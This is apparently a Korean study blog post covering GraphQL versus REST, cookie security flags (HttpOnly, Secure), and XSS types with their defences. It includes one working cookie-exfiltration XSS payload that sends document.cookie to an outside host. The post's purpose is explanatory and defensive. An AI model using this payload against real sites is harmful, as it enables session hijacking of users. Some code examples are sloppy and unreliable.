R4v!dus

GraphQL

GraphQL 즉, GQL은 페이스북에서 제작한 언어로 최근 입지를 다져가고 있는 언어입니다.

API를 만들 때 사용하는 쿼리언어로 쿼리를 받을 때도 사용하기도 합니다.

GQL은 SQL(Structed Query Language)과 마찬가지로 쿼리 언어이며 REST API와 비교되곤 합니다..

• REST API에서는 Resource에 대한 형태 정의와 데이터 요청 방법에 따라 연결되지만 , GraphQL에서는 Resource에 대한 형태 정의와 데이터 요청이 분리 되어 있습니다

이를 해석하면 Rest API에서는 URI마다 하는것이 규격에 맞게 정의 되어 있지만 GrpahQL에서는 조금더 유연하게 작업이 수행된다고 보면 됩니다.

Rest 방식의 경우 Rest는 각각의 Resource를 URL의 끝점으로 정의하며 이 해당 끝점은 

특정 HTTP Method가 되며 요청을 하면 데이터가 검색됩니다.

Rest API GET student_name/1

{
	"first name": "Ra",
	"name": {
		"middleName": "vi",
		"lastName": "dus"
	}
}

하지만 GQL은 Resource의 유형과 가져오는 방식이 완전 분리되어 있습니다.

type first name {
	id: ID
	fname: String
}
type name {
	id: ID
	firstName: String
	lastName: String
}

이처럼 정의만 해두면 클라이언트 에서 GQL은 저 firstname과 name에 접근할 수 있도록 Query라는 타입을 사용하여 접근합니다.

{firstname(id : "1") { fname, name { middlename, lastname}}}

이런식으로 좀 생소한 쿼리 구문을 사용해 데이터를 가져옵니다.

이렇듯 뭔가 유사하지만 차이가 분명한 이 두 query 언어는 상황에 따라 선호되는게 다릅니다.

일례로 받아와야 하는 항목들이 많고 규격화 되어있을 경우에는 인자를 하나하나 넣어주는 GQL보다는 Rest API를 선호합니다.

Rest API와 GraphQL의 특성을 하나로 정리하자면 아래와 같습니다.

GraphQL의 구조

GQL은 query와 mutation 이 두가지로 역할을 나눈다는 점이 중요합니다.

1. query : 데이터를 읽는데 사용

2. mutation : 데이터를 삭제, 추가 등 변조하는데 사용

또한 GQL query에는 변수라는 개념이 존재합니다.

https://snowtooth.moonhighway.com/

이곳에서 실습 한번 진행해보도록 하겠습니다.

쿠키란 무엇인가?

쿠키는 서버가 클라이언트 측에 상태 정보를 저장하고 추출할수 있는 어떠한 값이다.

Cookie 쿠키는 http에서 없어서는 안될 정도로 유용하고 광범위하게 사용 되고 있다.

이러한 쿠키는 서버에서도 클라이언트에서도 생성할수 있으며 브라우저는 이 쿠키값을 기억하며 클라이언트와 서버가 통신을 할때 쿠키는 Request에 포함되어 전달된다.

웹에서 뺄래야 뺄수 없는 쿠키는 많은 보안적 위협을 야기한다.

수많은 웹사이트들이 개인정보를 쿠키에 저장하고 있으며 공격자는 이를 탈취하기위해 여러 공격을 시도한다.

HTTP는 Stateless 프로토콜이다.

HTTP는 기본적으로 상태정보를 기억하지 못하기 때문에, 서버는 요청자가 누구인지 식별 할 수 없다.

이를 해결하기 위해 쿠키에 저장된 정보를 통해 사용자를 구별하고 있다.

쿠키는 클라이언트에서 js를 사용하여 조회할수 있기에 공격자들은 XSS 공격을 시도한다.

이를 막기위한 것이 HTTP Only Cookie이다.

HTTP Only를 추가함으로써 웹 브라우저는 Cookie로 접근 할수 없게 된다.

Response.Cookies.Add(new HttpCookie("쿠키 이름")
{
   Value = "쿠키 값",
   HttpOnly = true
});

클라이언트에서 쿠키로 접근 할수 없게 되므로 XSS공격은 의미가 없게 된다.

앞에서 말했다시피 쿠키값은 서버와 클라이언트측의 Request에 포함된다.

공격자들은 이를 노려 네트워크를 감시할 수 있지만 이를 막기 위해 HTTPS 프로토콜을 사용하여 데이터를 암호화하는 방법이 있다.

갖은 노력에도 불구하고 개발자의 실수 등에 의해 https로 전달 되어야 할 정보가 http로 전달되기도 한다.

네트워크 감시와 개발자의 실수 이 모두를 사전에 예방하기 위해 Secure라는 것이 있다.

쿠키를 생성 할때 뒤에 붙여 주기만 하면 된다.

Set-Cookie: 쿠키 이름=쿠키값; secure

이 secure를 설정해주면 해당 쿠키값은 https 프로토콜을 통해서만 전송이 된다.

자바스크립트는 웹 애플리케이션에서 사용되는 언어로 웹 페이지에서 동적인 기능을 구현하는데 사용된다.

XSS는 application 계층에서 일어나고 클라이언트 측 스크립팅 언어의 취약점으로 발생하며 보통 <scipt>스크립트 코드</script>형식을 이루고 있다.

<script>document.location='http://asdfasdf.com/cookie?'+document.cookie</script>

해당 구문은 해당 url의 주소로 쿠키 값을 빼오는 구문이다.

이와 같이 XSS는  클라이언트 쪽의 웹 브라우저를 공격하는 기법의 일종으로 <script></script>와 같은 입력값을 사용하여 공격을 수행 한다.

로그인된 사용자의 세션 쿠키를 사용하여 공격자는 마치 자기가 사용자인양 웹페이지에 접속한다.

XSS는 크게 3가지 공격 기법이 있다.

1. 공격자는 로그인된 사용자에게 악성 스크립트가 실행되게끔 유도한다.

2. 사용자는 이를 실행하고 스크립트코드가 삽입된 요청을 전송한다.

3. 스크립트코드를 반사시켜준다.

4. 웹 브라우저가 자동으로 스크립트 코드를 실행하여 공격자에게 쿠키를 보내준다.

5. 획득한 정보로 사용자인양 접속한다.

1. 서버에 스크립트 코드를 작성해둔다.

2. 사용자가 이를 모르고 페이지에 접속한다.

3. 스크립트 코드를 전달해준다.

4. 사용자의 웹 브라우저가 이를 실행하여 공격자에게 쿠키를 보내준다.

5. 획득한 정보로 사용자인 양 접속한다.

DOM(Document Object Model)이란 W3C 표준으로 HTML 및 XML 문서에 접근방법을 표준으로 정의하는 문서객체모델이다.

피해자의 브라우저가 HTML 페이지를 구문 분석할 때마다 공격 스크립트가 DOM 생성의 일부로 실행되면서 공격한다. 페이지 자체는 변하지 않으나, 페이지에 포함되어 있는 브라우저측 코드가 DOM 환경에서 악성코드로 실행된다.

앞에서 다룬 저장 XSS 및 반사 XSS 공격의 악성 페이로드가 서버 측 애플리케이션 취약점으로 인해, 응답 페이지에 악성 스크립트가 포함되어 브라우저로 전달되면서 공격하는 것인 반면, DOM 기반 XSS는 서버와 관계없이 브라우저에서 발생하는 것이 차이점이다.

대응방안

-입출력 값 검증 및 무효화

htmlspecialchars() 함수를 사용하여 특정 문자를 HTML 엔티티로 변환하여 필터링하면 큰 도움이 된다.

-보안 라이브러리

1) AntiXSS

AntiXSS 라이브러리는 마이크로소프트사에서 개발한 공개용 XSS 취약점 예방 라이브러리이다

2) OWASP ESAPI 라이브러리

OWASP는 포괄적인 애플리케이션 보안을 위해 웹 응용 취약점을 대응할 수 있는 오픈소스 ESAPI 라이브러리를 개발하여 제공하고 있다. XSS 취약점을 예방하기 위한 API는 validator와 encoder가 있다. validator는 입력 값을 필터링하는 기능을 하고 있으며, encoder는 출력 값을 인코딩 및 디코딩 기능을 가지고 있다

-브라우저 확장 프로그램

NoScript는 파이어폭스 등 모질라 기반의 browser에서 실행되는 오픈 소스 확장 프로그램으로, 화이트 리스트 기반으로 신뢰된 사이트의 자바스크립트, 플래쉬, 실버라이트 및 액티브X 등 동적 스크립트만 브라우저에서 실행하도록 하여 XSS 공격을 예방할 수 있다.

https://www.kisa.or.kr/uploadfile/201312/201312161355109566.pdf

XSS와 http에 관해서 kisa에서 제공해준 자료이다.